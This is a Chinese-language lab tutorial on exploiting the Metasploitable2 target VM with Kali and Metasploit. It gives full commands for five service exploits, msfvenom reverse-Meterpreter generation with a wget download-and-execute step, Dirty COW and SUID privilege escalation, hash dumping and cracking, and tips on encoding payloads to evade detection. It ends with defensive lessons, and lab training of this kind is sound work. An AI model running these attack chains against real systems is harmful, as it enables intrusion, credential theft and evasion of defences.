1. 项目概述:从靶场到实战思维的桥梁
如果你刚接触网络安全,面对Kali Linux和Metasploit这些名字,可能会觉得它们既神秘又强大,仿佛掌握了就能瞬间“黑”进任何系统。但现实是,没有经过系统训练的盲目尝试,就像拿着一把没装准星的狙击枪,不仅打不中目标,还可能伤到自己。这正是为什么我们需要一个安全、合法的训练场——Metasploitable2靶机。这个项目,就是带你用最经典的渗透测试工具链(Kali Linux + Metasploit),去攻克一个精心设计的、充满漏洞的“沙盒”,从而把电影里的炫酷场景,变成你可理解、可复现、可掌控的实操技能。
Metasploitable2不是一个真实的系统,而是一个由Metasploit框架的创造者Rapid7官方发布的、故意预置了大量已知漏洞的Linux虚拟机。它的存在意义,就是让你在一个绝对可控的环境里,合法地练习攻击技术,理解漏洞原理,并最终形成“攻击者思维”,从而更好地进行防御。本次,我们将聚焦其中5个最具代表性和教学价值的经典漏洞,从信息收集开始,到漏洞利用、权限提升,最后完成后渗透操作。我会附上每一步的详细命令和解释,确保你不仅能“照做”,更能“看懂”。
重要提示:所有操作务必在你自己搭建的虚拟化环境(如VMware或VirtualBox)中进行,确保攻击机(Kali)和靶机(Metasploitable2)处于同一隔离的虚拟网络(如NAT或Host-Only模式)。绝对禁止对任何未经明确授权的真实系统进行测试,这是法律和道德的底线。
2. 环境搭建与前期准备
在开始“冲锋”之前,稳固的“后方基地”至关重要。这个环节看似枯燥,却能避免你后续90%的“莫名其妙”的错误。
2.1 Kali Linux攻击机配置
Kali Linux是渗透测试的瑞士军刀,我们选择它作为攻击平台。如果你还没有安装,建议使用虚拟机方式安装最新版本。安装完成后,第一件事不是急着打开Metasploit,而是进行基础优化。
首先,更新系统并升级所有软件包。打开终端,输入:
sudo apt update && sudo apt full-upgrade -yapt update是刷新软件源列表,full-upgrade会智能处理依赖关系,进行完整升级。这个过程可能需要一些时间。
接下来,初始化Metasploit的数据库。Metasploit使用PostgreSQL数据库来存储扫描结果、会话信息等,这让管理多个目标和任务变得非常方便。
sudo msfdb init sudo msfdb start如果遇到数据库连接错误,通常是PostgreSQL服务没有运行。可以手动启动并设置开机自启:
sudo systemctl start postgresql sudo systemctl enable postgresql完成后,你可以通过msfconsole命令进入Metasploit框架的控制台。首次启动可能会稍慢,因为它需要加载大量模块。
2.2 Metasploitable2靶机部署
从官方渠道下载Metasploitable2的虚拟机镜像(通常是一个.ova或.vmdk文件)。使用VMware Workstation或VirtualBox直接导入即可。导入后,有一个关键设置:网络适配器。
你必须将Kali和Metasploitable2的虚拟机网络设置为同一模式。最推荐的是“Host-Only(仅主机)网络”或“NAT网络”(在VirtualBox中称为“内部网络”)。这样能创建一个与你的物理主机隔离的虚拟局域网,两台虚拟机可以互相通信,但无法访问外网,最为安全。
启动Metasploitable2,其默认登录凭证是msfadmin/msfadmin。登录后,使用ifconfig命令查看其IP地址,记下它(例如192.168.56.102)。同样,在Kali中使用ip a命令查看自己的IP地址(例如192.168.56.101)。使用ping命令测试双向连通性:
# 在Kali中ping靶机 ping -c 4 192.168.56.102 # 在Metasploitable2中ping Kali (如果需要) ping -c 4 192.168.56.101能收到回复,说明网络通路已经建立。
2.3 基础信息收集(Reconnaissance)
在发动任何攻击之前,充分的侦察是成功的一半。我们将使用Nmap这个“网络地图绘制仪”来扫描靶机。
在Kali终端中,运行一个全面的扫描:
sudo nmap -sV -sC -O -p- 192.168.56.102让我解释一下这些参数:
-sV: 探测服务版本。光知道开了80端口(HTTP)不够,我们还要知道是Apache 2.2.8还是Nginx 1.18。-sC: 使用默认的Nmap脚本进行扫描,能发现更多信息,比如HTTP标题、FTP匿名登录等。-O: 尝试识别目标操作系统。-p-: 扫描所有65535个端口,而不是默认的1000个常用端口。在Metasploitable2上,很多服务都开在非常用端口上。
扫描完成后,你会得到一份详细的报告。记录下所有开放的端口及其对应的服务,这是我们后续攻击的“目标清单”。典型的Metasploitable2会开放数十个端口,包括21(FTP)、22(SSH)、23(Telnet)、80(HTTP)、443(HTTPS)、3306(MySQL)、5432(PostgreSQL)等等。
3. 五大经典漏洞实战利用解析
现在,我们进入核心环节。我将按照从易到难、从网络服务到Web应用的顺序,逐一击破五个经典漏洞。每个漏洞的利用,都是一次完整的“侦察-利用-控制”流程的微缩演练。
3.1 漏洞一:VSFTPD 2.3.4 后门漏洞(端口21)
这是一个非常“古老”但教学意义极强的漏洞。VSFTPD(Very Secure FTP Daemon)在2.3.4版本中被植入了一个恶意后门。当用户在用户名中输入特定字符时,会触发一个后门,直接获得一个root权限的shell。
侦察确认:从之前的Nmap扫描中,我们可能看到类似vsftpd 2.3.4的版本信息。我们可以用Metasploit的辅助模块进行精准验证。
- 启动
msfconsole。 - 搜索相关模块:
search vsftpd。 - 使用漏洞利用模块:
use exploit/unix/ftp/vsftpd_234_backdoor。 - 查看需要设置的参数:
show options。通常只需要设置目标地址RHOSTS。 - 设置目标:
set RHOSTS 192.168.56.102。 - 运行攻击:
exploit。
如果目标存在此漏洞,攻击会瞬间成功,你将直接获得一个具有root权限的命令行shell。你可以尝试执行id或whoami命令来确认权限。
实操心得:这个漏洞的利用成功率接近100%,且直接获得最高权限。但它也像一个“童话故事”,在现实世界中几乎绝迹。它的教学价值在于让你理解“软件供应链攻击”的可怕——一个看似正常的软件更新包,可能就包含了致命后门。在利用时,注意
exploit命令执行后,如果成功,你的Metasploit会话会“挂起”,因为它在等待一个反向连接。此时新弹出的shell>就是靶机的root shell。
3.2 漏洞二:UnrealIRCd 3.2.8.1 后门漏洞(端口6667)
IRC(互联网中继聊天)是一个古老的聊天协议。UnrealIRCd的这个版本同样被植入了后门,允许远程攻击者在安装该服务的系统上执行任意命令。
利用流程:
- 在msfconsole中:
search unrealircd。 - 使用模块:
use exploit/unix/irc/unreal_ircd_3281_backdoor。 - 设置参数:
set RHOSTS 192.168.56.102。注意,这里需要指定RPORT为6667(如果扫描结果如此)。 - 设置Payload:我们需要一个Linux下的反向shell。
set PAYLOAD cmd/unix/reverse_bash。 - 设置监听信息:
set LHOST 192.168.56.101(你的Kali IP),set LPORT 4444。 - 执行攻击:
exploit。
成功后会得到一个普通的用户shell(通常是运行IRC服务的用户,如irc或nobody)。此时你已立足,但权限不高。
后渗透提权尝试:拿到初始shell后,第一步是信息收集。运行uname -a查看内核版本,cat /etc/passwd查看用户列表,sudo -l查看当前用户能以root身份运行哪些命令(如果提示需要密码,可能不行)。在Metasploitable2中,由于系统老旧且配置不当,可能存在内核漏洞或SUID权限滥用的问题,可以尝试搜索本地提权漏洞。例如,使用find / -perm -u=s -type f 2>/dev/null查找所有SUID文件,看看是否有nmap、vim、bash等程序的旧版本存在提权可能。
3.3 漏洞三:DistCCd 命令执行漏洞(端口3632)
DistCC是一个用于分布式编译的程序。该版本中的DistCCd服务未对输入进行正确过滤,导致可以远程执行命令。这是一个典型的“功能滥用”漏洞。
利用步骤:
- 搜索:
search distcc。 - 使用模块:
use exploit/unix/misc/distcc_exec。 - 设置目标:
set RHOSTS 192.168.56.102。 - 设置Payload:同样选择
cmd/unix/reverse_bash。 - 设置LHOST和LPORT。
exploit。
这个漏洞利用成功后,通常也会获得一个非root用户的shell。它演示了如何将一项正常的服务功能(这里是指令传输编译)转化为命令执行的通道。
注意事项:在利用这类命令执行漏洞时,Payload的选择很重要。
reverse_bash是一个Bash反向连接,兼容性好。但如果目标系统默认shell不是bash,或者/bin/bash路径不同,可能会失败。此时可以尝试reverse_netcat或generic/shell_reverse_tcp。在show payloads命令的输出中,可以查看所有兼容的Payload。
3.4 漏洞四:Samba “username map script” 命令注入漏洞(端口139/445)
Samba是实现Linux/Unix与Windows间文件共享的服务。3.0.20到3.0.25rc3版本的Samba中,username map script配置项存在命令注入漏洞,允许远程攻击者通过特制的用户名执行任意命令。
这是我们的重点漏洞,因为它引出了强大的Meterpreter:
- 搜索:
search samba username。 - 使用模块:
use exploit/multi/samba/usermap_script。 - 设置目标:
set RHOSTS 192.168.56.102。 - 关键步骤:设置Payload。这次我们不使用简单的
cmd/unix/reverse_bash,而是升级到功能强大的Meterpreter。输入:set PAYLOAD cmd/unix/reverse_netcat。等等,这里有个陷阱。这个漏洞本身是命令注入,最终执行的是系统命令。我们首先需要一个能建立稳定连接的“桥头堡”。reverse_netcat是一个用netcat建立的反向shell,比较通用。但我们的目标是将其升级到Meterpreter。 - 设置LHOST和LPORT(例如4444)。
- 执行攻击:
exploit。
如果成功,你会获得一个基本的Netcat反向shell。现在,我们在这个shell会话中手动将其升级到Meterpreter。这需要一点技巧:
- 在获得的简陋shell中,首先判断系统架构:
uname -m。通常是i686(32位)。 - 在Kali上,使用
msfvenom生成一个Meterpreter的Payload。打开一个新的Kali终端(不要关闭已有的Metasploit会话):
这生成了一个名为msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.56.101 LPORT=5555 -f elf > shell.elfshell.elf的Linux可执行文件,它会反向连接到我们Kali的5555端口。 - 在Kali上启动一个HTTP服务,让靶机下载这个文件。在存放
shell.elf的目录下:python3 -m http.server 8080。 - 回到之前的简陋shell(在Metasploit会话里),下载这个文件:
如果wget http://192.168.56.101:8080/shell.elf -O /tmp/shell.elfwget不存在,可以尝试curl。 - 给文件添加执行权限:
chmod +x /tmp/shell.elf。 - 在另一个新的Kali终端里,启动Metasploit监听器,准备接收Meterpreter连接:
msfconsole -q use exploit/multi/handler set PAYLOAD linux/x86/meterpreter/reverse_tcp set LHOST 192.168.56.101 set LPORT 5555 exploit -j-j参数表示作为后台任务运行。 - 回到简陋shell,执行Payload:
/tmp/shell.elf &。 - 如果一切顺利,在监听器的终端里,你会看到
[*] Sending stage (1017704 bytes) ...的提示,然后获得一个meterpreter >会话。输入sessions -i 1与之交互。
这个过程虽然繁琐,但极具教学价值。它模拟了真实渗透中“低权限shell -> 上传工具 -> 建立持久化控制”的完整链条。Meterpreter提供了远超普通shell的功能,如文件系统浏览、截图、键盘记录、权限提升等。
3.5 漏洞五:PHP CGI参数注入漏洞(端口80, HTTP服务)
Metasploitable2的Web服务(Apache+PHP)也配置了漏洞。其中一个是PHP CGI参数注入(CVE-2012-1823)。当PHP以CGI模式运行时,未能正确处理查询字符串,导致攻击者可以执行任意代码。
利用过程:
- 在msfconsole中:
search php cgi。 - 使用模块:
use exploit/multi/http/php_cgi_arg_injection。 - 设置目标:
set RHOSTS 192.168.56.102,set TARGETURI /(如果Web根目录不是/,则需要修改)。 - 设置Payload:由于是Web漏洞,我们通常选择
php/meterpreter/reverse_tcp,它能直接给我们一个PHP环境的Meterpreter会话。 - 设置LHOST和LPORT。
exploit。
成功之后,你将直接获得一个meterpreter >会话。这个会话运行在Web服务的用户权限下(通常是www-data)。你可以立即尝试一些后渗透命令,比如getuid查看当前用户,sysinfo查看系统信息。
Web漏洞的独特之处:与前面直接攻击系统服务的漏洞不同,PHP CGI漏洞属于Web应用层漏洞。它告诉我们,即使操作系统本身固若金汤,上层应用的一个微小配置失误或代码缺陷,也可能成为整个系统沦陷的突破口。在真实的渗透测试中,Web漏洞是最高发的入口点。
4. 后渗透技巧与权限提升实战
拿到初始访问权限(无论是普通shell还是Meterpreter)往往只是开始,特别是当权限很低时(如www-data用户)。我们的目标是获取系统的最高控制权,即root权限。在Metasploitable2上,有多个经典的提权路径。
4.1 内核漏洞提权:Dirty COW (CVE-2016-5195)
Dirty COW(脏牛)是Linux内核一个著名的竞态条件漏洞,影响范围极广。Metasploitable2的内核版本很可能存在此漏洞。
在Meterpreter会话中操作:
- 首先,检查内核版本:在meterpreter中输入
shell进入系统shell,然后输入uname -r。记下版本号。 - 回到meterpreter,上传一个编译好的脏牛漏洞利用程序。你需要在Kali上预先准备好 exploit 代码(例如
dirty.c)并交叉编译,或者从网上下载编译好的二进制文件。假设我们有一个名为dirty的利用程序。# 在meterpreter中 upload /path/to/dirty /tmp/dirty - 给文件执行权限:
chmod +x /tmp/dirty。 - 执行提权程序:
execute -f /tmp/dirty。 - 程序运行后,通常会告诉你一个新的root密码,或者直接切换到一个具有root权限的shell。你可以尝试
execute -f /bin/bash -c 'id'来验证。
实操心得:内核提权是“高风险高回报”的操作。 exploit 程序可能会造成系统不稳定甚至崩溃(这也是为什么要在靶机上练习)。在真实环境中,务必先在测试环境验证 exploit 的兼容性和稳定性。此外,上传文件前,最好用
checkvm命令看看目标是不是虚拟机,有些 exploit 在虚拟化环境中行为可能不同。
4.2 SUID/SGID滥用提权
SUID(Set User ID)是Linux的一种特殊权限,允许用户以文件所有者的权限来执行文件。如果系统管理员错误地将某些危险命令(如find、vim、bash甚至cp)设置了SUID位,就可能被低权限用户利用来提权。
查找SUID文件: 在获得的shell中(无论是meterpreter的shell还是普通shell),运行:
find / -perm -u=s -type f 2>/dev/null这条命令的意思是:从根目录/开始,查找所有设置了SUID位(-perm -u=s)的普通文件(-type f),并将所有错误信息(2>/dev/null)丢弃。
在Metasploitable2的结果中,你可能会看到/usr/bin/find。这是一个经典的提权向量。
利用find命令提权:
/usr/bin/find . -exec /bin/bash -p \;解释:-exec参数允许find对找到的每个文件执行后面的命令。这里我们让它执行/bin/bash -p,-p参数告诉bash保留特权(即继承find的SUID权限,也就是root权限)。执行后,你就获得了一个root shell。可以输入whoami验证。
4.3 密码哈希抓取与破解
获取root权限的另一种思路是拿到root用户的密码哈希,然后尝试破解。在Linux中,用户密码哈希存储在/etc/shadow文件,但只有root可读。我们可以通过之前提到的提权方法先拿到root shell,然后查看该文件。
更“专业”的做法是使用Meterpreter的hashdump命令。但该命令通常需要System权限。如果我们已经有了一个root权限的Meterpreter会话,可以直接运行:
meterpreter > hashdump这会导出所有用户的用户名和密码哈希(LM/NTLM格式,但这里是Linux,所以是传统的$id$salt$hash格式)。你可以将这些哈希保存下来,使用John the Ripper或Hashcat进行离线破解。
在Kali中,使用John破解:
# 将hashdump输出的内容保存到 hashes.txt 文件 john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txtrockyou.txt是一个包含数百万常见密码的字典文件。在Metasploitable2上,msfadmin用户的密码很可能被快速破解出来,因为它太常见了。
5. 常见问题、排查技巧与防御启示
即使跟着教程一步步做,你也可能会遇到各种问题。这里我总结了一些常见的“坑”和排查思路。
5.1 漏洞利用失败排查表
| 问题现象 | 可能原因 | 排查步骤与解决方案 |
|---|---|---|
exploit执行后无反应,或提示[-] Exploit failed | 1. 目标服务不存在或未运行。 2. 目标IP/端口设置错误。 3. 网络不通。 4. 漏洞已修复(对Metasploitable2 unlikely)。 | 1. 在Kali上用nc -zv <靶机IP> <端口>测试端口连通性。2. 在靶机上用 netstat -tulnp确认服务监听状态。3. 检查Kali和靶机的防火墙是否关闭( sudo ufw disable)。4. 在msfconsole中用 check命令(如果模块支持)验证漏洞是否存在。 |
| 收到session但立即断开 | 1. Payload与目标架构/系统不兼容。 2. 防病毒或入侵检测系统(IDS)拦截(靶机一般没有)。 3. Payload不稳定。 | 1. 确认目标系统是x86还是x64,Linux还是Windows,选择对应的Payload(如linux/x86/meterpreter/reverse_tcp)。2. 尝试使用 reverse_https或bind_tcp等不同传输方式的Payload,看是否能绕过基础检测。3. 尝试编码Payload以规避简单特征检测(使用 msfvenom的-e参数)。 |
Meterpreter的getsystem提权失败 | 1. 目标系统缺少可利用的提权漏洞。 2. 当前用户权限太低,无法进行某些操作。 3. UAC(Windows)或类似机制阻止。 | 1. 不要依赖getsystem,它只是内置的几种自动提权技巧。失败是常态。2. 手动进行信息收集( sysinfo,getuid,run post/multi/recon/local_exploit_suggester)寻找本地提权漏洞。3. 尝试其他提权模块,如 use exploit/windows/local/bypassuac等。 |
| 上传文件失败 | 1. 当前目录没有写权限。 2. 磁盘空间不足。 3. 杀毒软件拦截。 | 1. 使用pwd和getenv查看当前目录和环境,尝试切换到/tmp或/var/tmp目录,这些目录通常所有用户都有写权限。2. 使用 df -h查看磁盘空间。3. 尝试将文件分割上传后再合并,或使用不同的编码/传输方式。 |
5.2 思维转变:从“利用”到“防御”
完成这一系列漏洞利用后,最重要的不是记住那几条命令,而是理解其背后的安全逻辑,并转化为防御视角:
- 最小化攻击面:Metasploitable2之所以脆弱,是因为它默认开启了大量不必要的服务(FTP, Telnet, IRC等)。在真实服务器上,应遵循“最小权限原则”,关闭所有非必需的服务和端口。
- 及时更新与补丁管理:我们利用的漏洞,如VSFTPD后门、Dirty COW,都是早已公布并有补丁的。一套严格的补丁管理流程,是防御已知漏洞最有效的手段。
- 纵深防御:不要指望一道防线。即使攻击者通过Web漏洞(如PHP CGI)进来了,如果系统进行了恰当的权限划分(如Web服务以低权限用户运行)、部署了文件完整性监控(FIM)或主机入侵检测系统(HIDS),也能极大增加其横向移动和提权的难度。
- 输入验证与过滤:DistCCd和PHP CGI漏洞的本质都是未对用户输入进行严格过滤。在开发任何接受外部输入的应用时,必须进行严格的验证、过滤和转义。
- 安全配置:Samba漏洞源于不安全的默认配置。所有软件安装后,都应参考安全加固指南进行配置,修改默认密码,禁用危险功能。
通过攻击Metasploitable2,你实际上是在以攻击者的视角,遍历一遍常见的安全薄弱点。当你再回到防御者角色时,你会更清楚该在哪里筑墙,该重点监控哪些日志,以及一次成功的攻击链是如何形成的。这才是这个靶场,以及Kali Linux、Metasploit这些工具,带给安全从业者和爱好者的最大价值——不是学会如何破坏,而是深刻理解如何构建。